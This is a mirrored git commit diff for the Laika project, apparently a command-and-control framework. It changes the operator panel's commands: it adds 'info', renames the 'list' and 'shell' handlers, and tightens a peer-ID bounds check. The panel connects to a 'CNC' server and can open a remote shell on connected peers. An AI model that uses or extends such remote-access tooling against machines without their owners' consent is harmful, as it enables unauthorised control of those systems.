mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-21 12:40:04 +00:00
Added info command, better sanity check for shellS_getPeer()
This commit is contained in:
parent
dd9cb2af00
commit
e2e25f5a49
@ -13,7 +13,7 @@ int main(int argv, char *argc[]) {
|
||||
bool printPrompt = false;
|
||||
|
||||
shellT_printf("%s%s\n%s", shellT_getForeColor(TERM_BRIGHT_RED), LOGO, shellT_getForeColor(TERM_BRIGHT_WHITE));
|
||||
shellT_printf("\t made with %s<3%s by CPunch - %s\n\n", shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE), "v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR));
|
||||
shellT_printf("\t made with %s<3%s by CPunch - %s\n\nType 'help' for a list of commands\n\n", shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE), "v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR));
|
||||
|
||||
shellC_init(&client);
|
||||
shellC_connectToCNC(&client, "127.0.0.1", "13337");
|
||||
|
@ -20,7 +20,7 @@ jmp_buf cmdE_err;
|
||||
tShell_cmdDef *shellS_findCmd(char *cmd);
|
||||
|
||||
tShell_peer *shellS_getPeer(tShell_client *client, int id) {
|
||||
if (id >= client->peerTblCount || client->peerTbl[id] == NULL)
|
||||
if (id < 0 || id >= client->peerTblCount || client->peerTbl[id] == NULL)
|
||||
CMD_ERROR("Not a valid peer ID! [%d]\n", id);
|
||||
|
||||
return client->peerTbl[id];
|
||||
@ -39,21 +39,33 @@ void quitCMD(tShell_client *client, int args, char *argc[]) {
|
||||
laikaS_kill(&client->peer->sock);
|
||||
}
|
||||
|
||||
void listPeers(tShell_client *client, int args, char *argc[]) {
|
||||
void listPeersCMD(tShell_client *client, int args, char *argc[]) {
|
||||
int i;
|
||||
|
||||
shellT_printf("\n");
|
||||
for (i = 0; i < client->peerTblCount; i++) {
|
||||
if (client->peerTbl[i]) {
|
||||
shellT_printf("%04d ", i);
|
||||
shellP_printInfo(client->peerTbl[i]);
|
||||
shellT_printf("\n");
|
||||
}
|
||||
}
|
||||
shellT_printf("\n");
|
||||
}
|
||||
|
||||
void openShell(tShell_client *client, int args, char *argc[]) {
|
||||
void infoCMD(tShell_client *client, int args, char *argc[]) {
|
||||
tShell_peer *peer;
|
||||
int id;
|
||||
|
||||
if (args < 2)
|
||||
CMD_ERROR("Usage: info [PEER_ID]\n");
|
||||
|
||||
id = shellS_readInt(argc[1]);
|
||||
peer = shellS_getPeer(client, id);
|
||||
|
||||
/* print info */
|
||||
shellT_printf("%04d ", id);
|
||||
shellP_printInfo(peer);
|
||||
}
|
||||
|
||||
void openShellCMD(tShell_client *client, int args, char *argc[]) {
|
||||
uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH];
|
||||
tShell_peer *peer;
|
||||
int id, sz, cols, rows;
|
||||
@ -100,8 +112,9 @@ void openShell(tShell_client *client, int args, char *argc[]) {
|
||||
tShell_cmdDef shellS_cmds[] = {
|
||||
CREATECMD("help", "Lists avaliable commands", helpCMD),
|
||||
CREATECMD("quit", "Disconnects from CNC, closing panel", quitCMD),
|
||||
CREATECMD("list", "Lists all connected peers to CNC", listPeers),
|
||||
CREATECMD("shell", "Opens a shell on peer", openShell),
|
||||
CREATECMD("list", "Lists all connected peers to CNC", listPeersCMD),
|
||||
CREATECMD("info", "Lists info on a peer", infoCMD),
|
||||
CREATECMD("shell", "Opens a shell on peer", openShellCMD),
|
||||
};
|
||||
|
||||
#undef CREATECMD
|
||||
@ -174,7 +187,6 @@ void shellS_runCmd(tShell_client *client, char *cmd) {
|
||||
if (setjmp(cmdE_err) == 0) {
|
||||
cmdDef->callback(client, args, argc);
|
||||
}
|
||||
shellT_printf("\n");
|
||||
|
||||
/* free our argument buffer */
|
||||
laikaM_free(argc);
|
||||
|
Loading…
Reference in New Issue
Block a user